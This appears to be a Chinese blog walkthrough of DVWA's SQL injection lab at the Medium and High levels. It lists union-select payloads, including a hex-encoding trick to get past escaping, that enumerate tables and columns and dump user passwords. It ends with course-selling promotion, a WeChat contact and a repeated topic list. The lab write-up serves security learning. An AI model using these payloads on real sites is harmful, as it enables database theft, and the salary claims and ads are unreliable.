DVWA靶场之SQL注入通关详解(1)，网络安全开发进阶吃透这一篇必拿60W年薪

然后回到dvwa界面，发现页面中把所有的name和Surname都列出来了。因此这里可以判断注入点的类型为数字型且不需要闭合。

接下来判断字段数，当查询语句为1 or 1=1 order by 2时，页面能正常显示，但是当把2换成3时，页面就会报错，因此这里的字段数为2。

接下来，再通过union select来确定回显位置。

然后使用1 union select 1,database()#语句来查询数据库。

接下来查询表名，查询语句为：1 union select 1,table_name from information_schema.tables where table_schema=database()#。如下图所示，说明数据库中有两个表guestbook和users。

获取表中的字段名，当输入查询语句（1 union select 1,column_name from information_schema.columns where table_name=‘users’）后，会发现报错了，原因是语句中含有单引号。

该等级的源码和低级的源码比较，在用户输入id这里可以看到多了一个mysqli_real_escape_string函数，该函数主要功能是：转义在SQL语句中使用的字符串中的特殊字符。

所以这里在输入查询语句时不能含有特殊的字符，那么就可以把单引号里面的内容转换成十六进制，直接以十六进制的形式写上去。如下图所示，说明表中有八个字段，即Surname所列出来的八个。

获得字段中的数据，使用查询语句：1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #。结果如下图所示可以看到所有的user和对应的password。

漏洞原因：没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤，但是该函数并不能过滤一些敏感

的关键字，比如说：and,or这些，它只能转义一部分特殊的字符。

【High】级别

首先找页面中的注入点，这里很明显就是输入框，然后判断注入点的类型，通过输入判断语句后，可以得到这里的注入点类型是字符型。

然后接下来判断字段数，当在输入order by 3#的时候页面报错，因此这里的字段数为2。

接下来，再通过union select来确定回显位置。

下面查询数据库名称。

接下来查询表名，查询语句为：1’ union select 1,table_name from information_schema.tables where table_schema=database()#。如下图所示，说明数据库中有两个表guestbook和users。

获取表中的字段名：1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#。

获得字段中的数据（union select user,password from users）,得到该数据库有五个用户。

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**